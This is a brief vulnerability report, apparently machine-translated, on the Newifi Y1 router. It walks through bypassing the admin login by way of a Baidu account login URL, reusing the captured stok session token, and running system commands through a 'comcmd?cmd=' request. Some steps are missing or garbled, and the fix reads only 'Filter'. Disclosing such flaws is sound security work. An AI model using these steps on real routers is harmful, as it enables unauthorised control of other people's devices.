Attackers can execute arbitrary system commands and risks of CSRF after the backend logon of the Newifi y1 router is bypassed.

Attackers can execute arbitrary system commands and risks of CSRF after the backend logon of the Newifi y1 router is bypassed.

Http://link.baidu.com/myrouter/wifiLogin? Target = self & getNasBduss = 1 & toUrl = http: // 192.168.99.1/cgi-bin/luci/unauth/verify? Bdact = login & device_id = null

Enter the Baidu account password to log on and capture packets
 

Open the url starting with 192.168.99.1 and enter the following url.
 

However, this is useless.



Save the above stok Value

Http: // 192.168.99.1/cgi-bin/luci/; stok = 15ee99093643c56457993fdd8dae9773/admin/wifi_n_setting
 

 

Command Execution:

Http: // 192.168.99.1/cgi-bin/luci/; stok = abe40daae37207f5380dded673f0d910/admin/newwifi/comcmd? Cmd = id


 

 

Solution:

Filter